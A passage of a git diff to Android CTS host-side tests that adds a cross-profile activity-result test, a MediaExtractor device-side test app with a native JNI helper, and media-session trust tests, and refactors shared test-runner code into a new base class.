--- a/hostsidetests/devicepolicy/app/CrossProfileTestApps/CrossProfileAppsTest/src/com/android/cts/crossprofileappstest/CrossProfileAppsStartActivityTest.java
+++ b/hostsidetests/devicepolicy/app/CrossProfileTestApps/CrossProfileAppsTest/src/com/android/cts/crossprofileappstest/CrossProfileAppsStartActivityTest.java
@@ -19,6 +19,8 @@
 import static android.Manifest.permission.INTERACT_ACROSS_USERS;
 import static android.Manifest.permission.INTERACT_ACROSS_USERS_FULL;
 
+import static com.google.common.truth.Truth.assertThat;
+
 import static junit.framework.Assert.assertNotNull;
 
 import static org.junit.Assert.assertEquals;
@@ -276,6 +278,23 @@
         }
     }
 
+    @Test
+    public void testStartActivityIntent_crossProfile_returnsResult() throws Exception {
+        try {
+            mContext.startActivity(new Intent()
+                    .setComponent(CrossProfileResultCheckerActivity.buildComponentName(mContext))
+                    .putExtra(CrossProfileResultCheckerActivity.TARGET_USER_EXTRA, mTargetUser));
+
+            final UiObject2 textView = mDevice.wait(
+                    Until.findObject(
+                            By.text(CrossProfileResultCheckerActivity.SUCCESS_MESSAGE)),
+                    TIMEOUT_WAIT_UI);
+            assertThat(textView).isNotNull();
+        } catch (Exception e) {
+            fail("unable to start cross-profile activity to obtain a returned result: " + e);
+        }
+    }
+
     /**
      * Calls {@link CrossProfileApps#startActivity(Intent, UserHandle, Activity)}. This can then be
      * used by host-side tests.
diff --git a/hostsidetests/devicepolicy/app/CrossProfileTestApps/CrossProfileAppsTest/src/com/android/cts/crossprofileappstest/CrossProfileResultCheckerActivity.java b/hostsidetests/devicepolicy/app/CrossProfileTestApps/CrossProfileAppsTest/src/com/android/cts/crossprofileappstest/CrossProfileResultCheckerActivity.java
new file mode 100644
index 0000000..49f2d9b
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/CrossProfileTestApps/CrossProfileAppsTest/src/com/android/cts/crossprofileappstest/CrossProfileResultCheckerActivity.java
@@ -0,0 +1,74 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.crossprofileappstest;
+
+import android.app.Activity;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.content.pm.CrossProfileApps;
+import android.os.Bundle;
+import android.os.UserHandle;
+import android.widget.TextView;
+
+import androidx.annotation.Nullable;
+
+import com.android.compatibility.common.util.ShellIdentityUtils;
+
+/**
+ * An activity that launches {@link CrossProfileResultReturnerActivity} for result, then displays
+ * the string {@link #SUCCESS_MESSAGE} if successful.
+ *
+ * <p>Must be launched with intent extra {@link #TARGET_USER_EXTRA} with the numeric target user ID.
+ */
+public class CrossProfileResultCheckerActivity extends Activity {
+    static final String SUCCESS_MESSAGE = "Successfully received cross-profile result.";
+    static final String TARGET_USER_EXTRA = "TARGET_USER";
+
+    @Override
+    protected void onCreate(@Nullable Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        final Intent intent = getIntent();
+        if (!intent.hasExtra(TARGET_USER_EXTRA)) {
+            throw new IllegalStateException(
+                    "CrossProfileResultCheckerActivity started without " + TARGET_USER_EXTRA);
+        }
+        setContentView(R.layout.cross_profile_result_checker);
+        final Intent resultReturnerIntent =
+                new Intent().setComponent(
+                        CrossProfileResultReturnerActivity.buildComponentName(this));
+        final UserHandle targetUser = intent.getParcelableExtra(TARGET_USER_EXTRA);
+        ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(
+                getSystemService(CrossProfileApps.class),
+                crossProfileApps -> crossProfileApps.startActivity(
+                        resultReturnerIntent, targetUser, this));
+    }
+
+    @Override
+    protected void onActivityResult(int requestCode, int resultCode, Intent data) {
+        super.onActivityResult(requestCode, resultCode, data);
+        if (resultCode != CrossProfileResultReturnerActivity.RESULT_CODE) {
+            throw new IllegalStateException("Unknown result code: " + resultCode);
+        }
+        final TextView textView = findViewById(R.id.cross_profile_result_checker_result);
+        textView.setText(SUCCESS_MESSAGE);
+    }
+
+    static ComponentName buildComponentName(Context context) {
+        return new ComponentName(context, CrossProfileResultCheckerActivity.class);
+    }
+}
diff --git a/hostsidetests/devicepolicy/app/CrossProfileTestApps/CrossProfileAppsTest/src/com/android/cts/crossprofileappstest/CrossProfileResultReturnerActivity.java b/hostsidetests/devicepolicy/app/CrossProfileTestApps/CrossProfileAppsTest/src/com/android/cts/crossprofileappstest/CrossProfileResultReturnerActivity.java
new file mode 100644
index 0000000..8898e91
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/CrossProfileTestApps/CrossProfileAppsTest/src/com/android/cts/crossprofileappstest/CrossProfileResultReturnerActivity.java
@@ -0,0 +1,39 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.crossprofileappstest;
+
+import android.app.Activity;
+import android.content.ComponentName;
+import android.content.Context;
+import android.os.Bundle;
+
+import androidx.annotation.Nullable;
+
+/** An activity that sets the result as {@link #RESULT_CODE} then finishes. */
+public class CrossProfileResultReturnerActivity extends Activity {
+    static final int RESULT_CODE = 998;
+
+    @Override
+    protected void onCreate(@Nullable Bundle savedInstanceState) {
+        setResult(RESULT_CODE);
+        finish();
+    }
+
+    static ComponentName buildComponentName(Context context) {
+        return new ComponentName(context, CrossProfileResultReturnerActivity.class);
+    }
+}
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/CrossProfileAppsHostSideTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/CrossProfileAppsHostSideTest.java
index 345c91e..ddaf864 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/CrossProfileAppsHostSideTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/CrossProfileAppsHostSideTest.java
@@ -168,6 +168,8 @@
     @LargeTest
     @Test
     public void testStartActivityIntent_sameTaskByDefault() throws Exception {
+        // TODO(b/171957840): replace with device-side test using an inter-process communication
+        //  library.
         if (!mHasManagedUserFeature) {
             return;
         }
@@ -194,6 +196,21 @@
 
     @LargeTest
     @Test
+    public void testStartActivityIntent_crossProfile_returnsResult() throws Exception {
+        // TODO(b/171957840): replace with device-side test using an inter-process communication
+        //  library.
+        if (!mHasManagedUserFeature) {
+            return;
+        }
+        verifyCrossProfileAppsApi(
+                mProfileId,
+                mPrimaryUserId,
+                START_ACTIVITY_TEST_CLASS,
+                "testStartActivityIntent_crossProfile_returnsResult");
+    }
+
+    @LargeTest
+    @Test
     public void testPrimaryUserToSecondaryUser() throws Exception {
         if (!mCanTestMultiUser) {
             return;
diff --git a/hostsidetests/inputmethodservice/deviceside/ime1/Android.bp b/hostsidetests/inputmethodservice/deviceside/ime1/Android.bp
index 9d58ed5..dafe6b9 100644
--- a/hostsidetests/inputmethodservice/deviceside/ime1/Android.bp
+++ b/hostsidetests/inputmethodservice/deviceside/ime1/Android.bp
@@ -25,6 +25,7 @@
         "cts",
         "vts10",
         "general-tests",
+        "sts",
     ],
     sdk_version: "test_current",
     min_sdk_version: "19",
diff --git a/hostsidetests/media/TEST_MAPPING b/hostsidetests/media/TEST_MAPPING
new file mode 100644
index 0000000..e7796eb
--- /dev/null
+++ b/hostsidetests/media/TEST_MAPPING
@@ -0,0 +1,7 @@
+{
+  "presubmit": [
+    {
+      "name": "CtsMediaHostTestCases"
+    }
+  ]
+}
diff --git a/hostsidetests/media/app/MediaExtractorTest/Android.bp b/hostsidetests/media/app/MediaExtractorTest/Android.bp
new file mode 100644
index 0000000..f5b32ab
--- /dev/null
+++ b/hostsidetests/media/app/MediaExtractorTest/Android.bp
@@ -0,0 +1,54 @@
+// Copyright 2020 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+    name: "CtsMediaExtractorHostTestApp",
+    defaults: ["cts_defaults"],
+    test_suites: [
+        "cts",
+        "general-tests",
+    ],
+    srcs: [
+        "src/**/*.java",
+    ],
+    jni_libs: ["libCtsMediaExtractorHostTestAppJni"],
+    static_libs: [
+        "androidx.test.ext.junit",
+        "compatibility-device-util-axt",
+        "ctstestrunner-axt",
+    ],
+    compile_multilib: "both",
+    sdk_version: "test_current",
+}
+
+cc_test_library {
+    name: "libCtsMediaExtractorHostTestAppJni",
+    srcs: ["jni/MediaExtractorDeviceSideTestNative.cpp"],
+    shared_libs: [
+        "liblog",
+        "libmediandk",
+        "libandroid",
+        "libnativehelper_compat_libc++",
+    ],
+    include_dirs: [
+        "frameworks/av/media/ndk/include/media",
+    ],
+    stl: "libc++_static",
+    cflags: [
+        "-Werror",
+        "-Wall",
+    ],
+    gtest: false,
+    sdk_version: "current",
+}
diff --git a/hostsidetests/media/app/MediaExtractorTest/AndroidManifest.xml b/hostsidetests/media/app/MediaExtractorTest/AndroidManifest.xml
new file mode 100644
index 0000000..75f05b1
--- /dev/null
+++ b/hostsidetests/media/app/MediaExtractorTest/AndroidManifest.xml
@@ -0,0 +1,30 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+     package="android.media.cts">
+
+    <application>
+        <uses-library android:name="android.test.runner" />
+    </application>
+
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+            android:targetPackage="android.media.cts"
+            android:label="Device test app for MediaExtractor host side tests.">
+        <meta-data android:name="listener"
+                android:value="com.android.cts.runner.CtsTestRunListener" />
+    </instrumentation>
+</manifest>
diff --git a/hostsidetests/media/app/MediaExtractorTest/assets/raw/small_sample.mp4 b/hostsidetests/media/app/MediaExtractorTest/assets/raw/small_sample.mp4
new file mode 100644
index 0000000..a49c1cd
--- /dev/null
+++ b/hostsidetests/media/app/MediaExtractorTest/assets/raw/small_sample.mp4
Binary files differ
diff --git a/hostsidetests/media/app/MediaExtractorTest/jni/MediaExtractorDeviceSideTestNative.cpp b/hostsidetests/media/app/MediaExtractorTest/jni/MediaExtractorDeviceSideTestNative.cpp
new file mode 100644
index 0000000..b39d99b
--- /dev/null
+++ b/hostsidetests/media/app/MediaExtractorTest/jni/MediaExtractorDeviceSideTestNative.cpp
@@ -0,0 +1,52 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#include <NdkMediaExtractor.h>
+#include <android/asset_manager.h>
+#include <android/asset_manager_jni.h>
+#include <jni.h>
+#include <nativehelper/ScopedUtfChars.h>
+#include <thread>
+
+extern "C" JNIEXPORT void JNICALL
+Java_android_media_cts_MediaExtractorDeviceSideTest_extractUsingNdkMediaExtractor(
+        JNIEnv* env, jobject, jobject assetManager, jstring assetPath, jboolean withAttachedJvm) {
+    ScopedUtfChars scopedPath(env, assetPath);
+
+    AAssetManager* nativeAssetManager = AAssetManager_fromJava(env, assetManager);
+    AAsset* asset = AAssetManager_open(nativeAssetManager, scopedPath.c_str(), AASSET_MODE_RANDOM);
+    off_t start;
+    off_t length;
+    int fd = AAsset_openFileDescriptor(asset, &start, &length);
+
+    auto mediaExtractorTask = [=]() {
+        AMediaExtractor* mediaExtractor = AMediaExtractor_new();
+        AMediaExtractor_setDataSourceFd(mediaExtractor, fd, start, length);
+        AMediaExtractor_delete(mediaExtractor);
+    };
+
+    if (withAttachedJvm) {
+        // The currently running thread is a Java thread so it has an attached JVM.
+        mediaExtractorTask();
+    } else {
+        // We want to run the MediaExtractor calls on a thread with no JVM, so we spawn a new native
+        // thread which will not have an associated JVM. We execute the MediaExtractor calls on the
+        // new thread, and immediately join its execution so as to wait for its completion.
+        std::thread(mediaExtractorTask).join();
+    }
+    // TODO: Make resource management automatic through scoped handles.
+    close(fd);
+    AAsset_close(asset);
+}
diff --git a/hostsidetests/media/app/MediaExtractorTest/src/android/media/cts/MediaExtractorDeviceSideTest.java b/hostsidetests/media/app/MediaExtractorTest/src/android/media/cts/MediaExtractorDeviceSideTest.java
new file mode 100644
index 0000000..51b2faf
--- /dev/null
+++ b/hostsidetests/media/app/MediaExtractorTest/src/android/media/cts/MediaExtractorDeviceSideTest.java
@@ -0,0 +1,68 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.media.cts;
+
+import android.content.res.AssetFileDescriptor;
+import android.content.res.AssetManager;
+import android.media.MediaExtractor;
+
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+import androidx.test.platform.app.InstrumentationRegistry;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+/** Test class used by host-side tests to trigger {@link MediaExtractor} media metric events. */
+@RunWith(AndroidJUnit4.class)
+public class MediaExtractorDeviceSideTest {
+
+    static {
+        System.loadLibrary("CtsMediaExtractorHostTestAppJni");
+    }
+
+    private static final String SAMPLE_PATH = "raw/small_sample.mp4";
+    private AssetManager mAssetManager;
+
+    @Before
+    public void setUp() {
+        mAssetManager = InstrumentationRegistry.getInstrumentation().getContext().getAssets();
+    }
+
+    @Test
+    public void testEntryPointSdk() throws Exception {
+        MediaExtractor mediaExtractor = new MediaExtractor();
+        AssetManager assetManager =
+                InstrumentationRegistry.getInstrumentation().getContext().getAssets();
+        try (AssetFileDescriptor fileDescriptor = assetManager.openFd(SAMPLE_PATH)) {
+            mediaExtractor.setDataSource(fileDescriptor);
+        }
+        mediaExtractor.release();
+    }
+
+    @Test
+    public void testEntryPointNdkNoJvm() {
+        extractUsingNdkMediaExtractor(mAssetManager, SAMPLE_PATH, /* withAttachedJvm= */ false);
+    }
+
+    @Test
+    public void testEntryPointNdkWithJvm() {
+        extractUsingNdkMediaExtractor(mAssetManager, SAMPLE_PATH, /* withAttachedJvm= */ true);
+    }
+
+    private native void extractUsingNdkMediaExtractor(
+            AssetManager assetManager, String assetPath, boolean withAttachedJvm);
+}
diff --git a/hostsidetests/media/app/MediaSessionTest/src/android/media/session/cts/MediaSessionManagerTest.java b/hostsidetests/media/app/MediaSessionTest/src/android/media/session/cts/MediaSessionManagerTest.java
index b752b41..6ed0e60 100644
--- a/hostsidetests/media/app/MediaSessionTest/src/android/media/session/cts/MediaSessionManagerTest.java
+++ b/hostsidetests/media/app/MediaSessionTest/src/android/media/session/cts/MediaSessionManagerTest.java
@@ -18,6 +18,7 @@
 
 import static android.media.cts.MediaSessionTestHelperConstants.MEDIA_SESSION_TEST_HELPER_PKG;
 
+import static org.junit.Assert.assertFalse;
 import static org.junit.Assert.assertTrue;
 import static org.junit.Assert.fail;
 
@@ -25,6 +26,8 @@
 import android.content.Context;
 import android.media.session.MediaController;
 import android.media.session.MediaSessionManager;
+import android.media.session.MediaSessionManager.RemoteUserInfo;
+import android.os.Process;
 import android.service.notification.NotificationListenerService;
 
 import androidx.test.InstrumentationRegistry;
@@ -42,15 +45,16 @@
  */
 @SmallTest
 public class MediaSessionManagerTest extends NotificationListenerService {
-    private ComponentName mComponentName;
+    private Context mContext;
     private MediaSessionManager mMediaSessionManager;
+    private ComponentName mComponentName;
 
     @Before
     public void setUp() throws Exception {
-        Context context = InstrumentationRegistry.getTargetContext();
-        mMediaSessionManager = (MediaSessionManager) context.getSystemService(
-                Context.MEDIA_SESSION_SERVICE);
-        mComponentName = new ComponentName(context, MediaSessionManagerTest.class);
+        mContext = InstrumentationRegistry.getTargetContext();
+        mMediaSessionManager =
+                mContext.getSystemService(MediaSessionManager.class);
+        mComponentName = new ComponentName(mContext, MediaSessionManagerTest.class);
     }
 
     /**
@@ -95,4 +99,24 @@
         List<MediaController> controllers = mMediaSessionManager.getActiveSessions(mComponentName);
         assertTrue(controllers.isEmpty());
     }
+
+    /**
+     * Tests if this application is trusted.
+     */
+    @Test
+    public void testIsTrusted_returnsTrue() throws Exception {
+        RemoteUserInfo userInfo = new RemoteUserInfo(
+                mContext.getPackageName(), Process.myPid(), Process.myUid());
+        assertTrue(mMediaSessionManager.isTrustedForMediaControl(userInfo));
+    }
+
+    /**
+     * Tests if this application isn't trusted.
+     */
+    @Test
+    public void testIsTrusted_returnsFalse() throws Exception {
+        RemoteUserInfo userInfo = new RemoteUserInfo(
+                mContext.getPackageName(), Process.myPid(), Process.myUid());
+        assertFalse(mMediaSessionManager.isTrustedForMediaControl(userInfo));
+    }
 }
diff --git a/hostsidetests/media/src/android/media/cts/BaseMediaHostSideTest.java b/hostsidetests/media/src/android/media/cts/BaseMediaHostSideTest.java
new file mode 100644
index 0000000..ddce632
--- /dev/null
+++ b/hostsidetests/media/src/android/media/cts/BaseMediaHostSideTest.java
@@ -0,0 +1,165 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.media.cts;
+
+import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
+import com.android.ddmlib.testrunner.RemoteAndroidTestRunner;
+import com.android.tradefed.build.IBuildInfo;
+import com.android.tradefed.device.DeviceNotAvailableException;
+import com.android.tradefed.log.LogUtil;
+import com.android.tradefed.result.CollectingTestListener;
+import com.android.tradefed.result.TestDescription;
+import com.android.tradefed.result.TestResult;
+import com.android.tradefed.result.TestRunResult;
+import com.android.tradefed.testtype.DeviceTestCase;
+import com.android.tradefed.testtype.IBuildReceiver;
+
+import java.io.FileNotFoundException;
+import java.util.Map;
+import java.util.concurrent.TimeUnit;
+
+import javax.annotation.Nonnull;
+import javax.annotation.Nullable;
+
+/** Base class for host-side tests for media APIs. */
+public class BaseMediaHostSideTest extends DeviceTestCase implements IBuildReceiver {
+    private static final String RUNNER = "androidx.test.runner.AndroidJUnitRunner";
+
+    /**
+     * The defined timeout (in milliseconds) is used as a maximum waiting time when expecting the
+     * command output from the device. At any time, if the shell command does not output anything
+     * for a period longer than the defined timeout the Tradefed run terminates.
+     */
+    private static final long DEFAULT_SHELL_TIMEOUT_MILLIS = TimeUnit.MINUTES.toMillis(5);
+
+    /** Instrumentation test runner argument key used for individual test timeout. */
+    protected static final String TEST_TIMEOUT_INST_ARGS_KEY = "timeout_msec";
+
+    /**
+     * Sets timeout (in milliseconds) that will be applied to each test. In the event of a test
+     * timeout it will log the results and proceed with executing the next test.
+     */
+    private static final long DEFAULT_TEST_TIMEOUT_MILLIS = TimeUnit.MINUTES.toMillis(5);
+
+    protected IBuildInfo mCtsBuild;
+
+    @Override
+    public void setBuild(IBuildInfo buildInfo) {
+        mCtsBuild = buildInfo;
+    }
+
+    /**
+     * Runs tests on the device.
+     *
+     * @param pkgName The test package file name that contains the test.
+     * @param testClassName The class name to test within the test package. If {@code null}, runs
+     *     all test classes in the package.
+     * @param testMethodName Method name to test within the test class. Ignored if {@code
+     *     testClassName} is {@code null}. If {@code null}, runs all test classes in the class.
+     */
+    protected void runDeviceTests(
+            String pkgName, @Nullable String testClassName, @Nullable String testMethodName)
+            throws DeviceNotAvailableException {
+        RemoteAndroidTestRunner testRunner = getTestRunner(pkgName, testClassName, testMethodName);
+        CollectingTestListener listener = new CollectingTestListener();
+        assertTrue(getDevice().runInstrumentationTests(testRunner, listener));
+        assertTestsPassed(listener.getCurrentRunResults());
+    }
+
+    /**
+     * Excutes shell command and returns the result.
+     *
+     * @param command The command to run.
+     * @return The result from the command. If the result was {@code null}, empty string ("") will
+     *     be returned instead. Otherwise, trimmed result will be returned.
+     */
+    protected @Nonnull String executeShellCommand(String command) throws Exception {
+        LogUtil.CLog.d("Starting command " + command);
+        String commandOutput = getDevice().executeShellCommand(command);
+        LogUtil.CLog.d("Output for command " + command + ": " + commandOutput);
+        return commandOutput != null ? commandOutput.trim() : "";
+    }
+
+    /** Installs the app with the given {@code appFileName}. */
+    protected void installApp(String appFileName)
+            throws FileNotFoundException, DeviceNotAvailableException {
+        LogUtil.CLog.d("Installing app " + appFileName);
+        CompatibilityBuildHelper buildHelper = new CompatibilityBuildHelper(mCtsBuild);
+        String result =
+                getDevice()
+                        .installPackage(
+                                buildHelper.getTestFile(appFileName),
+                                /* reinstall= */ true,
+                                /* grantPermissions= */ true,
+                                "-t"); // Signals that this is a test APK.
+        assertNull("Failed to install " + appFileName + ": " + result, result);
+    }
+
+    /** Returns a {@link RemoteAndroidTestRunner} for the given test parameters. */
+    protected RemoteAndroidTestRunner getTestRunner(
+            String pkgName, String testClassName, String testMethodName) {
+        if (testClassName != null && testClassName.startsWith(".")) {
+            testClassName = pkgName + testClassName;
+        }
+
+        RemoteAndroidTestRunner testRunner =
+                new RemoteAndroidTestRunner(pkgName, RUNNER, getDevice().getIDevice());
+        testRunner.setMaxTimeToOutputResponse(DEFAULT_SHELL_TIMEOUT_MILLIS, TimeUnit.MILLISECONDS);
+        testRunner.addInstrumentationArg(
+                TEST_TIMEOUT_INST_ARGS_KEY, Long.toString(DEFAULT_TEST_TIMEOUT_MILLIS));
+        if (testClassName != null && testMethodName != null) {
+            testRunner.setMethodName(testClassName, testMethodName);
+        } else if (testClassName != null) {
+            testRunner.setClassName(testClassName);
+        }
+        return testRunner;
+    }
+
+    /**
+     * Asserts that {@code testRunResult} contains at least one test, and that all tests passed.
+     *
+     * <p>If the assertion fails, an {@link AssertionError} with a descriptive message is thrown.
+     */
+    protected void assertTestsPassed(TestRunResult testRunResult) {
+        if (testRunResult.isRunFailure()) {
+            throw new AssertionError(
+                    "Failed to successfully run device tests for "
+                            + testRunResult.getName()
+                            + ": "
+                            + testRunResult.getRunFailureMessage());
+        }
+        if (testRunResult.getNumTests() == 0) {
+            throw new AssertionError("No tests were run on the device");
+        }
+
+        if (testRunResult.hasFailedTests()) {
+            // Build a meaningful error message
+            StringBuilder errorBuilder = new StringBuilder("On-device tests failed:\n");
+            for (Map.Entry<TestDescription, TestResult> resultEntry :
+                    testRunResult.getTestResults().entrySet()) {
+                if (!resultEntry
+                        .getValue()
+                        .getStatus()
+                        .equals(com.android.ddmlib.testrunner.TestResult.TestStatus.PASSED)) {
+                    errorBuilder.append(resultEntry.getKey().toString());
+                    errorBuilder.append(":\n");
+                    errorBuilder.append(resultEntry.getValue().getStackTrace());
+                }
+            }
+            throw new AssertionError(errorBuilder.toString());
+        }
+    }
+}
diff --git a/hostsidetests/media/src/android/media/cts/BaseMultiUserTest.java b/hostsidetests/media/src/android/media/cts/BaseMultiUserTest.java
index 08461fb..1a03581 100644
--- a/hostsidetests/media/src/android/media/cts/BaseMultiUserTest.java
+++ b/hostsidetests/media/src/android/media/cts/BaseMultiUserTest.java
@@ -43,26 +43,7 @@
 /**
  * Base class for host-side tests for multi-user aware media APIs.
  */
-public class BaseMultiUserTest extends DeviceTestCase implements IBuildReceiver {
-    private static final String RUNNER = "androidx.test.runner.AndroidJUnitRunner";
-
-    /**
-     * The defined timeout (in milliseconds) is used as a maximum waiting time when expecting the
-     * command output from the device. At any time, if the shell command does not output anything
-     * for a period longer than the defined timeout the Tradefed run terminates.
-     */
-    private static final long DEFAULT_SHELL_TIMEOUT_MILLIS = TimeUnit.MINUTES.toMillis(5);
-
-    /**
-     * Instrumentation test runner argument key used for individual test timeout
-     **/
-    protected static final String TEST_TIMEOUT_INST_ARGS_KEY = "timeout_msec";
-
-    /**
-     * Sets timeout (in milliseconds) that will be applied to each test. In the
-     * event of a test timeout it will log the results and proceed with executing the next test.
-     */
-    private static final long DEFAULT_TEST_TIMEOUT_MILLIS = TimeUnit.MINUTES.toMillis(5);
+public class BaseMultiUserTest extends BaseMediaHostSideTest {
     private static final String SETTINGS_PACKAGE_VERIFIER_NAMESPACE = "global";
     private static final String SETTINGS_PACKAGE_VERIFIER_NAME = "package_verifier_enable";
 
@@ -78,7 +59,6 @@
      */
     protected static final int USER_SYSTEM = 0;
 
-    private IBuildInfo mCtsBuild;
     private String mPackageVerifier;
 
     private Set<String> mExistingPackages;
@@ -104,7 +84,7 @@
                 "0",
                 USER_ALL);
 
-        mExistingUsers = new ArrayList();
+        mExistingUsers = new ArrayList<>();
         int primaryUserId = getDevice().getPrimaryUserId();
         mExistingUsers.add(primaryUserId);
         mExistingUsers.add(USER_SYSTEM);
@@ -139,11 +119,6 @@
         super.tearDown();
     }
 
-    @Override
-    public void setBuild(IBuildInfo buildInfo) {
-        mCtsBuild = buildInfo;
-    }
-
     /**
      * Installs the app as if the user of the ID {@param userId} has installed the app.
      *
@@ -165,20 +140,6 @@
                 result);
     }
 
-    /**
-     * Excutes shell command and returns the result.
-     *
-     * @param command command to run.
-     * @return result from the command. If the result was {@code null}, empty string ("") will be
-     *    returned instead. Otherwise, trimmed result will be returned.
-     */
-    protected @Nonnull String executeShellCommand(final String command) throws Exception {
-        CLog.d("Starting command " + command);
-        String commandOutput = getDevice().executeShellCommand(command);
-        CLog.d("Output for command " + command + ": " + commandOutput);
-        return commandOutput != null ? commandOutput.trim() : "";
-    }
-
     private int createAndStartUser(String extraParam) throws Exception {
         String command = "pm create-user" + extraParam + " TestUser_" + System.currentTimeMillis();
         String commandOutput = executeShellCommand(command);
@@ -248,49 +209,15 @@
      *    {@code null}.
      * @param userId user ID to run the tests as.
      */
-    protected void runDeviceTestsAsUser(
+    protected void runDeviceTests(
             String pkgName, @Nullable String testClassName,
             @Nullable String testMethodName, int userId) throws DeviceNotAvailableException {
-        if (testClassName != null && testClassName.startsWith(".")) {
-            testClassName = pkgName + testClassName;
-        }
-
-        RemoteAndroidTestRunner testRunner = new RemoteAndroidTestRunner(
-                pkgName, RUNNER, getDevice().getIDevice());
-        testRunner.setMaxTimeToOutputResponse(DEFAULT_SHELL_TIMEOUT_MILLIS, TimeUnit.MILLISECONDS);
-        testRunner.addInstrumentationArg(
-                TEST_TIMEOUT_INST_ARGS_KEY, Long.toString(DEFAULT_TEST_TIMEOUT_MILLIS));
-        if (testClassName != null && testMethodName != null) {
-            testRunner.setMethodName(testClassName, testMethodName);
-        } else if (testClassName != null) {
-            testRunner.setClassName(testClassName);
-        }
-
+        RemoteAndroidTestRunner testRunner = getTestRunner(pkgName, testClassName, testMethodName);
         CollectingTestListener listener = new CollectingTestListener();
         assertTrue(getDevice().runInstrumentationTestsAsUser(testRunner, userId, listener));
 
         final TestRunResult result = listener.getCurrentRunResults();
-        if (result.isRunFailure()) {
-            throw new AssertionError("Failed to successfully run device tests for "
-                    + result.getName() + ": " + result.getRunFailureMessage());
-        }
-        if (result.getNumTests() == 0) {
-            throw new AssertionError("No tests were run on the device");
-        }
-
-        if (result.hasFailedTests()) {
-            // Build a meaningful error message
-            StringBuilder errorBuilder = new StringBuilder("On-device tests failed:\n");
-            for (Map.Entry<TestDescription, TestResult> resultEntry :
-                    result.getTestResults().entrySet()) {
-                if (!resultEntry.getValue().getStatus().equals(TestStatus.PASSED)) {
-                    errorBuilder.append(resultEntry.getKey().toString());
-                    errorBuilder.append(":\n");
-                    errorBuilder.append(resultEntry.getValue().getStackTrace());
-                }
-            }
-            throw new AssertionError(errorBuilder.toString());
-        }
+        assertTestsPassed(result);
     }
 
     /**
diff --git a/hostsidetests/media/src/android/media/cts/MediaExtractorHostSideTest.java b/hostsidetests/media/src/android/media/cts/MediaExtractorHostSideTest.java
new file mode 100644
index 0000000..c06603c
--- /dev/null
